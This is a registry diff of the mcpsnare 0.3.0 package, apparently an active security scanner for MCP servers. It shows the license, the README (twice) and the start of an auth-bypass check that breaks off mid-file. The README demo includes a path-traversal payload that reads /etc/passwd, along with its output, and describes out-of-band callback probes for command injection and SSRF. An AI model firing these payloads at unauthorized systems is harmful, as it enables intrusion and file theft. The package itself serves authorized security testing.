mcpsnare 0.3.0__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- mcpsnare-0.3.0/LICENSE +21 -0
- mcpsnare-0.3.0/PKG-INFO +222 -0
- mcpsnare-0.3.0/README.md +187 -0
- mcpsnare-0.3.0/mcpsnare/__init__.py +1 -0
- mcpsnare-0.3.0/mcpsnare/__main__.py +4 -0
- mcpsnare-0.3.0/mcpsnare/checks/__init__.py +2 -0
- mcpsnare-0.3.0/mcpsnare/checks/auth_bypass.py +48 -0
- mcpsnare-0.3.0/mcpsnare/checks/base.py +27 -0
- mcpsnare-0.3.0/mcpsnare/checks/cmd_injection.py +73 -0
- mcpsnare-0.3.0/mcpsnare/checks/info_leak.py +43 -0
- mcpsnare-0.3.0/mcpsnare/checks/path_traversal.py +25 -0
- mcpsnare-0.3.0/mcpsnare/checks/sql_injection.py +76 -0
- mcpsnare-0.3.0/mcpsnare/checks/ssrf.py +19 -0
- mcpsnare-0.3.0/mcpsnare/cli.py +118 -0
- mcpsnare-0.3.0/mcpsnare/connect/__init__.py +0 -0
- mcpsnare-0.3.0/mcpsnare/connect/resources.py +42 -0
- mcpsnare-0.3.0/mcpsnare/connect/session.py +68 -0
- mcpsnare-0.3.0/mcpsnare/engine.py +153 -0
- mcpsnare-0.3.0/mcpsnare/inject/__init__.py +0 -0
- mcpsnare-0.3.0/mcpsnare/inject/jsonpath.py +56 -0
- mcpsnare-0.3.0/mcpsnare/inject/mapper.py +148 -0
- mcpsnare-0.3.0/mcpsnare/models.py +88 -0
- mcpsnare-0.3.0/mcpsnare/oob/__init__.py +0 -0
- mcpsnare-0.3.0/mcpsnare/oob/base.py +7 -0
- mcpsnare-0.3.0/mcpsnare/oob/interactsh.py +34 -0
- mcpsnare-0.3.0/mcpsnare/oob/interactsh_client.py +84 -0
- mcpsnare-0.3.0/mcpsnare/oob/local.py +41 -0
- mcpsnare-0.3.0/mcpsnare/report/__init__.py +0 -0
- mcpsnare-0.3.0/mcpsnare/report/render.py +46 -0
- mcpsnare-0.3.0/mcpsnare.egg-info/PKG-INFO +222 -0
- mcpsnare-0.3.0/mcpsnare.egg-info/SOURCES.txt +48 -0
- mcpsnare-0.3.0/mcpsnare.egg-info/dependency_links.txt +1 -0
- mcpsnare-0.3.0/mcpsnare.egg-info/entry_points.txt +2 -0
- mcpsnare-0.3.0/mcpsnare.egg-info/requires.txt +9 -0
- mcpsnare-0.3.0/mcpsnare.egg-info/top_level.txt +1 -0
- mcpsnare-0.3.0/pyproject.toml +52 -0
- mcpsnare-0.3.0/setup.cfg +4 -0
- mcpsnare-0.3.0/tests/test_checks.py +384 -0
- mcpsnare-0.3.0/tests/test_cli.py +36 -0
- mcpsnare-0.3.0/tests/test_engine.py +408 -0
- mcpsnare-0.3.0/tests/test_http_e2e.py +103 -0
- mcpsnare-0.3.0/tests/test_interactsh_client.py +65 -0
- mcpsnare-0.3.0/tests/test_jsonpath.py +43 -0
- mcpsnare-0.3.0/tests/test_mapper.py +164 -0
- mcpsnare-0.3.0/tests/test_models.py +63 -0
- mcpsnare-0.3.0/tests/test_oob_interactsh.py +38 -0
- mcpsnare-0.3.0/tests/test_oob_local.py +25 -0
- mcpsnare-0.3.0/tests/test_report.py +21 -0
- mcpsnare-0.3.0/tests/test_session.py +83 -0
- mcpsnare-0.3.0/tests/test_smoke.py +5 -0
mcpsnare-0.3.0/LICENSE
ADDED
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
MIT License
|
|
2
|
+
|
|
3
|
+
Copyright (c) 2026 Dennis Sepede (Den-Sec)
|
|
4
|
+
|
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
7
|
+
in the Software without restriction, including without limitation the rights
|
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
10
|
+
furnished to do so, subject to the following conditions:
|
|
11
|
+
|
|
12
|
+
The above copyright notice and this permission notice shall be included in all
|
|
13
|
+
copies or substantial portions of the Software.
|
|
14
|
+
|
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
21
|
+
SOFTWARE.
|
mcpsnare-0.3.0/PKG-INFO
ADDED
|
@@ -0,0 +1,222 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: mcpsnare
|
|
3
|
+
Version: 0.3.0
|
|
4
|
+
Summary: Active, confirmation-driven security scanner for MCP (Model Context Protocol) servers - Burp Active Scan, for MCP.
|
|
5
|
+
Author-email: Dennis Sepede <dennisepede@proton.me>
|
|
6
|
+
License: MIT
|
|
7
|
+
Project-URL: Homepage, https://github.com/Den-Sec/mcpsnare
|
|
8
|
+
Project-URL: Repository, https://github.com/Den-Sec/mcpsnare
|
|
9
|
+
Project-URL: Issues, https://github.com/Den-Sec/mcpsnare/issues
|
|
10
|
+
Project-URL: Changelog, https://github.com/Den-Sec/mcpsnare/blob/main/CHANGELOG.md
|
|
11
|
+
Keywords: mcp,model-context-protocol,security,scanner,pentest,vulnerability,dast,appsec,ssrf,oob
|
|
12
|
+
Classifier: Development Status :: 4 - Beta
|
|
13
|
+
Classifier: Environment :: Console
|
|
14
|
+
Classifier: Intended Audience :: Information Technology
|
|
15
|
+
Classifier: Intended Audience :: Developers
|
|
16
|
+
Classifier: License :: OSI Approved :: MIT License
|
|
17
|
+
Classifier: Operating System :: OS Independent
|
|
18
|
+
Classifier: Programming Language :: Python :: 3
|
|
19
|
+
Classifier: Programming Language :: Python :: 3.11
|
|
20
|
+
Classifier: Programming Language :: Python :: 3.12
|
|
21
|
+
Classifier: Topic :: Security
|
|
22
|
+
Classifier: Topic :: Software Development :: Testing
|
|
23
|
+
Requires-Python: >=3.11
|
|
24
|
+
Description-Content-Type: text/markdown
|
|
25
|
+
License-File: LICENSE
|
|
26
|
+
Requires-Dist: mcp>=1.0.0
|
|
27
|
+
Requires-Dist: httpx>=0.27
|
|
28
|
+
Requires-Dist: rich>=13.0
|
|
29
|
+
Requires-Dist: cryptography>=42.0
|
|
30
|
+
Provides-Extra: dev
|
|
31
|
+
Requires-Dist: pytest>=8.0; extra == "dev"
|
|
32
|
+
Requires-Dist: pytest-asyncio>=0.23; extra == "dev"
|
|
33
|
+
Requires-Dist: uvicorn>=0.31; extra == "dev"
|
|
34
|
+
Dynamic: license-file
|
|
35
|
+
|
|
36
|
+
# mcpsnare
|
|
37
|
+
|
|
38
|
+
**The active security scanner for MCP servers — _Burp Active Scan, for the Model Context Protocol._**
|
|
39
|
+
|
|
40
|
+
[](https://github.com/Den-Sec/mcpsnare/actions/workflows/ci.yml)
|
|
41
|
+
[](https://www.python.org/)
|
|
42
|
+
[](LICENSE)
|
|
43
|
+
|
|
44
|
+
mcpsnare enumerates the tools an MCP server exposes, fires targeted payloads at their
|
|
45
|
+
parameters, and reports **only what it can prove**. Every finding is tied to a concrete
|
|
46
|
+
oracle — an out-of-band callback, a reflected canary, a calibrated timing delay — and
|
|
47
|
+
carries a graded confidence level.
|
|
48
|
+
|
|
49
|
+
Most "MCP security" tools pattern-match configs and source code. mcpsnare **triggers the
|
|
50
|
+
vulnerability and catches the proof**: a `CONFIRMED` finding is exploitable, not theoretical.
|
|
51
|
+
|
|
52
|
+
> _(Formerly published as `mcprobe`.)_
|
|
53
|
+
|
|
54
|
+
## Demo
|
|
55
|
+
|
|
56
|
+
A default scan of a vulnerable MCP server — no config, one command:
|
|
57
|
+
|
|
58
|
+
```console
|
|
59
|
+
$ mcpsnare scan --stdio "python vulnerable_server.py"
|
|
60
|
+
[!] mcpsnare - authorized testing only.
|
|
61
|
+
|
|
62
|
+
6 finding(s):
|
|
63
|
+
[HIGH] Path traversal in read_doc.path (confirmed)
|
|
64
|
+
[HIGH] Secret/info leak via whoami (firm)
|
|
65
|
+
[HIGH] Path traversal in read_cfg.config.path (confirmed)
|
|
66
|
+
[HIGH] Path traversal in read_many.paths[0] (confirmed)
|
|
67
|
+
[HIGH] Path traversal in read_mode.path (confirmed)
|
|
68
|
+
[CRITICAL] Command injection in ping.host (confirmed)
|
|
69
|
+
```
|
|
70
|
+
|
|
71
|
+
That `CRITICAL` command injection is `confirmed` because the injected payload made the
|
|
72
|
+
target call back to a listener mcpsnare controls — an **out-of-band proof of execution**,
|
|
73
|
+
not a guess. The same scan as machine-readable JSON (or SARIF / Markdown):
|
|
74
|
+
|
|
75
|
+
```console
|
|
76
|
+
$ mcpsnare scan --stdio "python vulnerable_server.py" --output json
|
|
77
|
+
{
|
|
78
|
+
"summary": { "critical": 1, "high": 5, "medium": 0, "low": 0, "info": 0 },
|
|
79
|
+
"findings": [
|
|
80
|
+
{
|
|
81
|
+
"check": "path_traversal", "tool": "read_doc", "param": "path",
|
|
82
|
+
"severity": "high", "confidence": "confirmed", "cwe": "CWE-22",
|
|
83
|
+
"title": "Path traversal in read_doc.path",
|
|
84
|
+
"payload": "../../../../../../etc/passwd",
|
|
85
|
+
"evidence": "root:x:0:0:root:/root:/bin/bash",
|
|
86
|
+
"remediation": "Resolve and contain paths within an allowed base dir."
|
|
87
|
+
}
|
|
88
|
+
/* ... */
|
|
89
|
+
]
|
|
90
|
+
}
|
|
91
|
+
```
|
|
92
|
+
|
|
93
|
+
## Install
|
|
94
|
+
|
|
95
|
+
From source (Python 3.11+):
|
|
96
|
+
|
|
97
|
+
```bash
|
|
98
|
+
git clone https://github.com/Den-Sec/mcpsnare && cd mcpsnare
|
|
99
|
+
pip install -e ".[dev]"
|
|
100
|
+
```
|
|
101
|
+
|
|
102
|
+
This installs the `mcpsnare` console entry point. A PyPI release (`pipx install mcpsnare`)
|
|
103
|
+
is imminent — see [Releases](https://github.com/Den-Sec/mcpsnare/releases).
|
|
104
|
+
|
|
105
|
+
## Quickstart
|
|
106
|
+
|
|
107
|
+
```bash
|
|
108
|
+
# Local stdio server (launched as a subprocess)
|
|
109
|
+
mcpsnare scan --stdio "python server.py"
|
|
110
|
+
|
|
111
|
+
# Remote streamable-HTTP endpoint, with auth, emitting SARIF for code scanning
|
|
112
|
+
mcpsnare scan --http https://host/mcp --header "Authorization: Bearer X" --output sarif
|
|
113
|
+
|
|
114
|
+
# Add blocking time-based probes (off by default) and tune concurrency
|
|
115
|
+
mcpsnare scan --stdio "python server.py" --aggressive --concurrency 8
|
|
116
|
+
```
|
|
117
|
+
|
|
118
|
+
## Why mcpsnare
|
|
119
|
+
|
|
120
|
+
Most MCP security tooling is either a generic fuzzer (noisy, low-signal) or a
|
|
121
|
+
defensive/static analyzer (reads config and source, never proves exploitability).
|
|
122
|
+
mcpsnare is built around active confirmation:
|
|
123
|
+
|
|
124
|
+
- **Oracle-backed, not guesses.** Every finding is tied to a concrete signal: an
|
|
125
|
+
**out-of-band (OOB)** callback, a **calibrated time** delay, a **canary** value
|
|
126
|
+
reflected in the response, or a **baseline diff**. No signal, no finding.
|
|
127
|
+
- **Graded, calibrated confidence.** Findings carry an explicit confidence level
|
|
128
|
+
(**CONFIRMED / FIRM / TENTATIVE**, see [Confidence levels](#confidence-levels)).
|
|
129
|
+
Per-tool baseline calibration suppresses the usual false-positive classes — a
|
|
130
|
+
slow-but-safe tool, or output that merely looks secret-shaped, is not flagged.
|
|
131
|
+
- **Reaches real schemas.** Maps injection points through nested objects, array items,
|
|
132
|
+
and params gated behind required enums; builds schema-valid baselines so payloads
|
|
133
|
+
actually reach the handler.
|
|
134
|
+
- **Both transports.** Works against MCP servers over **stdio** (local process) and
|
|
135
|
+
**streamable HTTP** (remote endpoint, with custom headers/auth) — both exercised
|
|
136
|
+
end-to-end in CI on Linux and Windows.
|
|
137
|
+
|
|
138
|
+
## Confidence levels
|
|
139
|
+
|
|
140
|
+
Every finding carries one of three confidence levels, each earned by a specific oracle:
|
|
141
|
+
|
|
142
|
+
| Level | Meaning | How it's earned |
|
|
143
|
+
| ---------- | --------------------------------------------------- | --------------- |
|
|
144
|
+
| **CONFIRMED** | The payload provably executed, or protected data was reached. | An out-of-band callback fired (cmd injection, SSRF), a canary value was read back (path traversal), or an unauthenticated call returned a response byte-identical to the authenticated one (auth bypass). |
|
|
145
|
+
| **FIRM** | A calibrated/inferred signal strongly indicates the issue, short of an OOB proof. | A response delay exceeds the per-tool calibrated baseline by the injected sleep (time-based cmd injection); a secret-shaped string appears in the probe response but not in the benign baseline (info leak); or an unauthenticated response matches the authenticated one only after stripping volatile fields like timestamps/ids (auth bypass). |
|
|
146
|
+
| **TENTATIVE** | Pattern-only match, with no calibration to corroborate it. | A secret-shaped string matched, but no baseline was available to prove the input triggered it — review manually. |
|
|
147
|
+
|
|
148
|
+
The OOB and canary checks emit only **CONFIRMED**. Auth-bypass emits **CONFIRMED**
|
|
149
|
+
on a byte-identical response or **FIRM** on a match after stripping volatile fields.
|
|
150
|
+
The timing and info-leak oracles are where **FIRM** and **TENTATIVE** arise.
|
|
151
|
+
|
|
152
|
+
## Checks
|
|
153
|
+
|
|
154
|
+
| Check | Vulnerability | CWE |
|
|
155
|
+
| ---------------- | ------------------------------ | -------- |
|
|
156
|
+
| `cmd_injection` | OS command injection | CWE-78 |
|
|
157
|
+
| `ssrf` | Server-side request forgery | CWE-918 |
|
|
158
|
+
| `path_traversal` | Path traversal | CWE-22 |
|
|
159
|
+
| `auth_bypass` | Missing authentication | CWE-306 |
|
|
160
|
+
| `info_leak` | Secret / sensitive info leak | CWE-200 |
|
|
161
|
+
| `sql_injection` | SQL injection | CWE-89 |
|
|
162
|
+
|
|
163
|
+
mcpsnare also enumerates MCP **resource templates** and treats their templated URI
|
|
164
|
+
params (e.g. `file:///{path}`) as injection points for path-traversal and info-leak.
|
|
165
|
+
|
|
166
|
+
## Out-of-band (OOB) confirmation
|
|
167
|
+
|
|
168
|
+
OOB callbacks are how mcpsnare confirms blind command injection and SSRF: a probe
|
|
169
|
+
makes the target reach back to a listener mcpsnare controls.
|
|
170
|
+
|
|
171
|
+
- `--oob local` (default) spins up an in-process HTTP listener on localhost. It
|
|
172
|
+
needs no external service and works for targets that can reach your machine
|
|
173
|
+
(typically local stdio servers).
|
|
174
|
+
- `--oob interactsh` uses an out-of-band interaction server for targets that
|
|
175
|
+
cannot reach localhost (e.g. remote HTTP servers). mcpsnare ships a real interactsh
|
|
176
|
+
client (RSA-OAEP / AES-256-CTR), so this works out of the box against the public
|
|
177
|
+
`oast.fun` (override with `--interactsh-server`); it was live-verified end to end.
|
|
178
|
+
See [docs/interactsh-runbook.md](docs/interactsh-runbook.md).
|
|
179
|
+
- `--oob none` disables OOB confirmation; only time-based and canary oracles run.
|
|
180
|
+
|
|
181
|
+
## Flags
|
|
182
|
+
|
|
183
|
+
- `--stdio "<cmd>"` / `--http <url>` — target transport (one required).
|
|
184
|
+
- `--header "k:v"` — add an HTTP header (repeatable).
|
|
185
|
+
- `--oob {local,interactsh,none}` — OOB confirmation backend (`local` default).
|
|
186
|
+
- `--aggressive` — also send blocking time-based (sleep) probes; by default mcpsnare
|
|
187
|
+
sends only non-blocking OOB/canary/pattern probes (time-based detection is aggressive-only).
|
|
188
|
+
- `--concurrency N` — max concurrent probe requests (default 4). Time-based probes run serially.
|
|
189
|
+
- `--rate R` — cap to R requests/second (default unlimited).
|
|
190
|
+
- `--oob-timeout S` / `--oob-poll-interval S` — how long (default 20s) / how often (default 2.5s) to poll for OOB callbacks.
|
|
191
|
+
- `--output {console,json,sarif,md}` — output format (default `console`).
|
|
192
|
+
|
|
193
|
+
## Authorized testing only
|
|
194
|
+
|
|
195
|
+
**mcpsnare is an active scanner. It sends real, potentially destructive payloads
|
|
196
|
+
to the target.** Run it only against systems you own or have explicit written
|
|
197
|
+
authorization to test. Unauthorized use may be illegal. You are responsible for
|
|
198
|
+
how you use this tool.
|
|
199
|
+
|
|
200
|
+
## Validation
|
|
201
|
+
|
|
202
|
+
mcpsnare is validated by an automated test suite (119 tests) against bundled
|
|
203
|
+
deliberately-vulnerable fixture servers in `tests/fixtures/`. The suite exercises
|
|
204
|
+
command injection (including cross-OS cmd.exe / PowerShell payloads), SSRF, path
|
|
205
|
+
traversal, info-leak, SQL injection, nested/array/enum injection points, and the OOB,
|
|
206
|
+
baseline-calibration, and false-positive-suppression paths end to end — over **both**
|
|
207
|
+
stdio and a live in-process streamable-HTTP server, on Linux and Windows in CI. See
|
|
208
|
+
[docs/claims-matrix.md](docs/claims-matrix.md) for the claim-to-test mapping.
|
|
209
|
+
|
|
210
|
+
It has also been smoke-tested against the real `@modelcontextprotocol/server-everything`
|
|
211
|
+
reference server (13 tools, 2 resource templates) — clean run, zero false positives. See
|
|
212
|
+
[docs/smoke-run.md](docs/smoke-run.md).
|
|
213
|
+
|
|
214
|
+
## Roadmap
|
|
215
|
+
|
|
216
|
+
- MCP-specific checks: tool-poisoning / prompt-injection via tool descriptions,
|
|
217
|
+
and tool-scope / permission-boundary violations.
|
|
218
|
+
- Additional OOB providers and richer time-based oracles.
|
|
219
|
+
|
|
220
|
+
## License
|
|
221
|
+
|
|
222
|
+
MIT — see [LICENSE](LICENSE).
|
mcpsnare-0.3.0/README.md
ADDED
|
@@ -0,0 +1,187 @@
|
|
|
1
|
+
# mcpsnare
|
|
2
|
+
|
|
3
|
+
**The active security scanner for MCP servers — _Burp Active Scan, for the Model Context Protocol._**
|
|
4
|
+
|
|
5
|
+
[](https://github.com/Den-Sec/mcpsnare/actions/workflows/ci.yml)
|
|
6
|
+
[](https://www.python.org/)
|
|
7
|
+
[](LICENSE)
|
|
8
|
+
|
|
9
|
+
mcpsnare enumerates the tools an MCP server exposes, fires targeted payloads at their
|
|
10
|
+
parameters, and reports **only what it can prove**. Every finding is tied to a concrete
|
|
11
|
+
oracle — an out-of-band callback, a reflected canary, a calibrated timing delay — and
|
|
12
|
+
carries a graded confidence level.
|
|
13
|
+
|
|
14
|
+
Most "MCP security" tools pattern-match configs and source code. mcpsnare **triggers the
|
|
15
|
+
vulnerability and catches the proof**: a `CONFIRMED` finding is exploitable, not theoretical.
|
|
16
|
+
|
|
17
|
+
> _(Formerly published as `mcprobe`.)_
|
|
18
|
+
|
|
19
|
+
## Demo
|
|
20
|
+
|
|
21
|
+
A default scan of a vulnerable MCP server — no config, one command:
|
|
22
|
+
|
|
23
|
+
```console
|
|
24
|
+
$ mcpsnare scan --stdio "python vulnerable_server.py"
|
|
25
|
+
[!] mcpsnare - authorized testing only.
|
|
26
|
+
|
|
27
|
+
6 finding(s):
|
|
28
|
+
[HIGH] Path traversal in read_doc.path (confirmed)
|
|
29
|
+
[HIGH] Secret/info leak via whoami (firm)
|
|
30
|
+
[HIGH] Path traversal in read_cfg.config.path (confirmed)
|
|
31
|
+
[HIGH] Path traversal in read_many.paths[0] (confirmed)
|
|
32
|
+
[HIGH] Path traversal in read_mode.path (confirmed)
|
|
33
|
+
[CRITICAL] Command injection in ping.host (confirmed)
|
|
34
|
+
```
|
|
35
|
+
|
|
36
|
+
That `CRITICAL` command injection is `confirmed` because the injected payload made the
|
|
37
|
+
target call back to a listener mcpsnare controls — an **out-of-band proof of execution**,
|
|
38
|
+
not a guess. The same scan as machine-readable JSON (or SARIF / Markdown):
|
|
39
|
+
|
|
40
|
+
```console
|
|
41
|
+
$ mcpsnare scan --stdio "python vulnerable_server.py" --output json
|
|
42
|
+
{
|
|
43
|
+
"summary": { "critical": 1, "high": 5, "medium": 0, "low": 0, "info": 0 },
|
|
44
|
+
"findings": [
|
|
45
|
+
{
|
|
46
|
+
"check": "path_traversal", "tool": "read_doc", "param": "path",
|
|
47
|
+
"severity": "high", "confidence": "confirmed", "cwe": "CWE-22",
|
|
48
|
+
"title": "Path traversal in read_doc.path",
|
|
49
|
+
"payload": "../../../../../../etc/passwd",
|
|
50
|
+
"evidence": "root:x:0:0:root:/root:/bin/bash",
|
|
51
|
+
"remediation": "Resolve and contain paths within an allowed base dir."
|
|
52
|
+
}
|
|
53
|
+
/* ... */
|
|
54
|
+
]
|
|
55
|
+
}
|
|
56
|
+
```
|
|
57
|
+
|
|
58
|
+
## Install
|
|
59
|
+
|
|
60
|
+
From source (Python 3.11+):
|
|
61
|
+
|
|
62
|
+
```bash
|
|
63
|
+
git clone https://github.com/Den-Sec/mcpsnare && cd mcpsnare
|
|
64
|
+
pip install -e ".[dev]"
|
|
65
|
+
```
|
|
66
|
+
|
|
67
|
+
This installs the `mcpsnare` console entry point. A PyPI release (`pipx install mcpsnare`)
|
|
68
|
+
is imminent — see [Releases](https://github.com/Den-Sec/mcpsnare/releases).
|
|
69
|
+
|
|
70
|
+
## Quickstart
|
|
71
|
+
|
|
72
|
+
```bash
|
|
73
|
+
# Local stdio server (launched as a subprocess)
|
|
74
|
+
mcpsnare scan --stdio "python server.py"
|
|
75
|
+
|
|
76
|
+
# Remote streamable-HTTP endpoint, with auth, emitting SARIF for code scanning
|
|
77
|
+
mcpsnare scan --http https://host/mcp --header "Authorization: Bearer X" --output sarif
|
|
78
|
+
|
|
79
|
+
# Add blocking time-based probes (off by default) and tune concurrency
|
|
80
|
+
mcpsnare scan --stdio "python server.py" --aggressive --concurrency 8
|
|
81
|
+
```
|
|
82
|
+
|
|
83
|
+
## Why mcpsnare
|
|
84
|
+
|
|
85
|
+
Most MCP security tooling is either a generic fuzzer (noisy, low-signal) or a
|
|
86
|
+
defensive/static analyzer (reads config and source, never proves exploitability).
|
|
87
|
+
mcpsnare is built around active confirmation:
|
|
88
|
+
|
|
89
|
+
- **Oracle-backed, not guesses.** Every finding is tied to a concrete signal: an
|
|
90
|
+
**out-of-band (OOB)** callback, a **calibrated time** delay, a **canary** value
|
|
91
|
+
reflected in the response, or a **baseline diff**. No signal, no finding.
|
|
92
|
+
- **Graded, calibrated confidence.** Findings carry an explicit confidence level
|
|
93
|
+
(**CONFIRMED / FIRM / TENTATIVE**, see [Confidence levels](#confidence-levels)).
|
|
94
|
+
Per-tool baseline calibration suppresses the usual false-positive classes — a
|
|
95
|
+
slow-but-safe tool, or output that merely looks secret-shaped, is not flagged.
|
|
96
|
+
- **Reaches real schemas.** Maps injection points through nested objects, array items,
|
|
97
|
+
and params gated behind required enums; builds schema-valid baselines so payloads
|
|
98
|
+
actually reach the handler.
|
|
99
|
+
- **Both transports.** Works against MCP servers over **stdio** (local process) and
|
|
100
|
+
**streamable HTTP** (remote endpoint, with custom headers/auth) — both exercised
|
|
101
|
+
end-to-end in CI on Linux and Windows.
|
|
102
|
+
|
|
103
|
+
## Confidence levels
|
|
104
|
+
|
|
105
|
+
Every finding carries one of three confidence levels, each earned by a specific oracle:
|
|
106
|
+
|
|
107
|
+
| Level | Meaning | How it's earned |
|
|
108
|
+
| ---------- | --------------------------------------------------- | --------------- |
|
|
109
|
+
| **CONFIRMED** | The payload provably executed, or protected data was reached. | An out-of-band callback fired (cmd injection, SSRF), a canary value was read back (path traversal), or an unauthenticated call returned a response byte-identical to the authenticated one (auth bypass). |
|
|
110
|
+
| **FIRM** | A calibrated/inferred signal strongly indicates the issue, short of an OOB proof. | A response delay exceeds the per-tool calibrated baseline by the injected sleep (time-based cmd injection); a secret-shaped string appears in the probe response but not in the benign baseline (info leak); or an unauthenticated response matches the authenticated one only after stripping volatile fields like timestamps/ids (auth bypass). |
|
|
111
|
+
| **TENTATIVE** | Pattern-only match, with no calibration to corroborate it. | A secret-shaped string matched, but no baseline was available to prove the input triggered it — review manually. |
|
|
112
|
+
|
|
113
|
+
The OOB and canary checks emit only **CONFIRMED**. Auth-bypass emits **CONFIRMED**
|
|
114
|
+
on a byte-identical response or **FIRM** on a match after stripping volatile fields.
|
|
115
|
+
The timing and info-leak oracles are where **FIRM** and **TENTATIVE** arise.
|
|
116
|
+
|
|
117
|
+
## Checks
|
|
118
|
+
|
|
119
|
+
| Check | Vulnerability | CWE |
|
|
120
|
+
| ---------------- | ------------------------------ | -------- |
|
|
121
|
+
| `cmd_injection` | OS command injection | CWE-78 |
|
|
122
|
+
| `ssrf` | Server-side request forgery | CWE-918 |
|
|
123
|
+
| `path_traversal` | Path traversal | CWE-22 |
|
|
124
|
+
| `auth_bypass` | Missing authentication | CWE-306 |
|
|
125
|
+
| `info_leak` | Secret / sensitive info leak | CWE-200 |
|
|
126
|
+
| `sql_injection` | SQL injection | CWE-89 |
|
|
127
|
+
|
|
128
|
+
mcpsnare also enumerates MCP **resource templates** and treats their templated URI
|
|
129
|
+
params (e.g. `file:///{path}`) as injection points for path-traversal and info-leak.
|
|
130
|
+
|
|
131
|
+
## Out-of-band (OOB) confirmation
|
|
132
|
+
|
|
133
|
+
OOB callbacks are how mcpsnare confirms blind command injection and SSRF: a probe
|
|
134
|
+
makes the target reach back to a listener mcpsnare controls.
|
|
135
|
+
|
|
136
|
+
- `--oob local` (default) spins up an in-process HTTP listener on localhost. It
|
|
137
|
+
needs no external service and works for targets that can reach your machine
|
|
138
|
+
(typically local stdio servers).
|
|
139
|
+
- `--oob interactsh` uses an out-of-band interaction server for targets that
|
|
140
|
+
cannot reach localhost (e.g. remote HTTP servers). mcpsnare ships a real interactsh
|
|
141
|
+
client (RSA-OAEP / AES-256-CTR), so this works out of the box against the public
|
|
142
|
+
`oast.fun` (override with `--interactsh-server`); it was live-verified end to end.
|
|
143
|
+
See [docs/interactsh-runbook.md](docs/interactsh-runbook.md).
|
|
144
|
+
- `--oob none` disables OOB confirmation; only time-based and canary oracles run.
|
|
145
|
+
|
|
146
|
+
## Flags
|
|
147
|
+
|
|
148
|
+
- `--stdio "<cmd>"` / `--http <url>` — target transport (one required).
|
|
149
|
+
- `--header "k:v"` — add an HTTP header (repeatable).
|
|
150
|
+
- `--oob {local,interactsh,none}` — OOB confirmation backend (`local` default).
|
|
151
|
+
- `--aggressive` — also send blocking time-based (sleep) probes; by default mcpsnare
|
|
152
|
+
sends only non-blocking OOB/canary/pattern probes (time-based detection is aggressive-only).
|
|
153
|
+
- `--concurrency N` — max concurrent probe requests (default 4). Time-based probes run serially.
|
|
154
|
+
- `--rate R` — cap to R requests/second (default unlimited).
|
|
155
|
+
- `--oob-timeout S` / `--oob-poll-interval S` — how long (default 20s) / how often (default 2.5s) to poll for OOB callbacks.
|
|
156
|
+
- `--output {console,json,sarif,md}` — output format (default `console`).
|
|
157
|
+
|
|
158
|
+
## Authorized testing only
|
|
159
|
+
|
|
160
|
+
**mcpsnare is an active scanner. It sends real, potentially destructive payloads
|
|
161
|
+
to the target.** Run it only against systems you own or have explicit written
|
|
162
|
+
authorization to test. Unauthorized use may be illegal. You are responsible for
|
|
163
|
+
how you use this tool.
|
|
164
|
+
|
|
165
|
+
## Validation
|
|
166
|
+
|
|
167
|
+
mcpsnare is validated by an automated test suite (119 tests) against bundled
|
|
168
|
+
deliberately-vulnerable fixture servers in `tests/fixtures/`. The suite exercises
|
|
169
|
+
command injection (including cross-OS cmd.exe / PowerShell payloads), SSRF, path
|
|
170
|
+
traversal, info-leak, SQL injection, nested/array/enum injection points, and the OOB,
|
|
171
|
+
baseline-calibration, and false-positive-suppression paths end to end — over **both**
|
|
172
|
+
stdio and a live in-process streamable-HTTP server, on Linux and Windows in CI. See
|
|
173
|
+
[docs/claims-matrix.md](docs/claims-matrix.md) for the claim-to-test mapping.
|
|
174
|
+
|
|
175
|
+
It has also been smoke-tested against the real `@modelcontextprotocol/server-everything`
|
|
176
|
+
reference server (13 tools, 2 resource templates) — clean run, zero false positives. See
|
|
177
|
+
[docs/smoke-run.md](docs/smoke-run.md).
|
|
178
|
+
|
|
179
|
+
## Roadmap
|
|
180
|
+
|
|
181
|
+
- MCP-specific checks: tool-poisoning / prompt-injection via tool descriptions,
|
|
182
|
+
and tool-scope / permission-boundary violations.
|
|
183
|
+
- Additional OOB providers and richer time-based oracles.
|
|
184
|
+
|
|
185
|
+
## License
|
|
186
|
+
|
|
187
|
+
MIT — see [LICENSE](LICENSE).
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
__version__ = "0.3.0"
|
|
@@ -0,0 +1,48 @@
|
|
|
1
|
+
import re
|
|
2
|
+
from mcpsnare.models import Probe, Finding, Severity, Confidence
|
|
3
|
+
from mcpsnare.checks.base import register
|
|
4
|
+
|
|
5
|
+
# Volatile substrings stripped before the tolerant compare, so a bypass is detected
|
|
6
|
+
# even when the two bodies differ only by a timestamp / request-id / nonce. NOTE: a
|
|
7
|
+
# bare record "id" is intentionally NOT stripped - a different record id is a real data
|
|
8
|
+
# difference, not a volatile field, and stripping it would risk a false bypass.
|
|
9
|
+
_VOLATILE = re.compile(
|
|
10
|
+
r"\d{4}-\d{2}-\d{2}[T ]\d{2}:\d{2}:\d{2}(?:\.\d+)?Z?" # ISO timestamps
|
|
11
|
+
r"|[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}" # UUIDs
|
|
12
|
+
r"|\"(?:ts|timestamp|nonce|request[_-]?id|trace[_-]?id)\"\s*:\s*\"?[^\",}]*\"?",
|
|
13
|
+
re.IGNORECASE,
|
|
14
